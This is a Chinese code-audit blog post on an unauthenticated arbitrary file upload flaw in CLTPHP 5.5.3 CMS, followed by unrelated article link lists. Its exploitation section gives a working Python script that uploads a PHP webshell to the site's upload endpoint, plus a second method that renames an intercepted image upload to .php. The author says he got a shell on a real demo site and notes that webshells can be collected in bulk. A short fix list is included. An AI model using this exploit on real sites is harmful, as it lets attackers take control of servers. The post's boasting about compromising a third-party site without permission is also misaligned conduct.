0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin 密码:admin123

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:

​ 在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:

2、文件位置:/think/library/think/File.php 第329-377行:

在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。

3、文件位置:/think/library/think/File.php 第218-245行:

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组中获取,函数未带入参数​rule,故采用默认值,我们看一下​rule的值

在同文件中$rule默认值为date,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。

0x02 漏洞利用

利用方式一:

1、 通过编写Python脚本,模拟Ajax 异步请求, Python’脚本如下:

    #!/usr/bin/python      #-*- coding: UTF-8 -*-      import requests      header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,                  'X-Requested-With': 'XMLHttpRequest',}       url = "http://127.0.0.1/user/upFiles/upload"      files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}      res = requests.post(url, files=files,headers=header)      print res.text  

2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。

3、访问url,成功getshell

某demo演示站点已getshell

1、修改url地址,运行Python脚本,获取一句话上传路径

2、成功控制网站服务器,未深入,仅截图作为演示。

另外,通过该漏洞可批量获取webshell,具体要看用户量多少了。

利用方式二:

1、在前台注册一个用户test,登录会员中心

2、在会员中心—设置—上传图片马(包含一句话)—抓包改包为php后缀名

3、访问shell地址,成功获取网站权限

http://127.0.0.1/public/uploads/20180309/64a211154e71c05795a9f901860b62b9.php

0x03 修复建议

​ 1、添加上传页面的认证,通过白名单限制上传文件后缀;

​ 2、禁止上传目录脚本执行权限。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞的更多相关文章

  1. 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  2. 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  3. 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  4. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  5. 【原创】JEECMS v6~v7任意文件上传漏洞(1)

    文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...

  6. PHP任意文件上传漏洞CVE-2015-2348浅析

    昨晚安全新闻爆出一个“PHP任意文件上传漏洞”,CVE编号为:CVE-2015-2348. 当时楼主正准备收拾东西回家,看到这个新闻心里一惊:失传江湖多年的0字符截断上传漏洞又重现了?而且还影响这么多 ...

  7. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  8. 中国电信某站点JBOSS任意文件上传漏洞

    1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...

  9. CKFinder 1.4.3 任意文件上传漏洞

    CKFinder 是国外一款非常流行的所见即所得文字编辑器,其1.4.3 asp.net版本存在任意文件上传漏洞,攻击者可以利用该漏洞上传任意文件. CKFinder在上传文件的时候,强制将文件名(不 ...

随机推荐

  1. 25个顶级的jQuery表格插件

    jQuery 表格插件可以让你创建各种各样的表格布局,表格布局是报纸和杂志中最常见的布局,现在的网站中也很常见,在这篇文章中,我向大家推荐25个jQuery 的表格插件,你可以任意控制表格的行和列,用 ...

  2. 自然语言交流系统 phxnet团队 创新实训 个人博客 (九)

    情感倾向可认为是主体对某一客体主观存在的内心喜恶,内在评价的一种倾向.它由两个方面来衡量:一个情感倾向方向,一个是情感倾向度. 情感倾向方向也称为情感极性.在微博中,可以理解为用户对某客体表达自身观点 ...

  3. K-SVD算法

    它与K-mean算法原理上是类似的: K-mean 算法: (之前写过:http://www.cnblogs.com/yinheyi/p/6132362.html) 对于初始化的类别中心,可以看作初化 ...

  4. Numpy存字符串

    # -*- coding: utf-8 -*- import numpy as np student = np.dtype({'names':['name', 'age', 'weight'], 'f ...

  5. linux 下 vi 文本编辑如何复制一行粘贴删除一行数据

    在使用vi有时会想直接复制一行数据,然后粘贴一行或者直接删除一行数据 复制一行数据的方法 把光标放到要复制的一行前面,然后按两下yy字母键 然后把光标放到要复制到的地方去,按键盘的p字母键 删除一行是 ...

  6. 配置IDEA Scala环境

    http://snglw.blog.51cto.com/5832405/1634595

  7. semi-global matching 算法总结

    semi-global matching(缩写SGM)是一种用于计算双目视觉中disparity的半全局匹配算法.在OpenCV中的实现为semi-global block matching(SGBM ...

  8. 如何在IntelliJ IDEA中快速配置Tomcat

    近来使用idea编写java代码的人越来越多,最关键的就是idea强大的代码提示功能,能极高的提升程序员的开发效率,但是毕竟各有所长,idea中tomcat的配置就没有eclipse那么轻松,这里简单 ...

  9. JS中 try...catch...finally (转)

    JS的try..catch..finally var array = null; try { document.write(array[0]); } catch(err) { document.wri ...

  10. Unity对象池管理

    链接: http://www.xuanyusong.com/archives/2925 http://www.xuanyusong.com/archives/2974 https://www.cnbl ...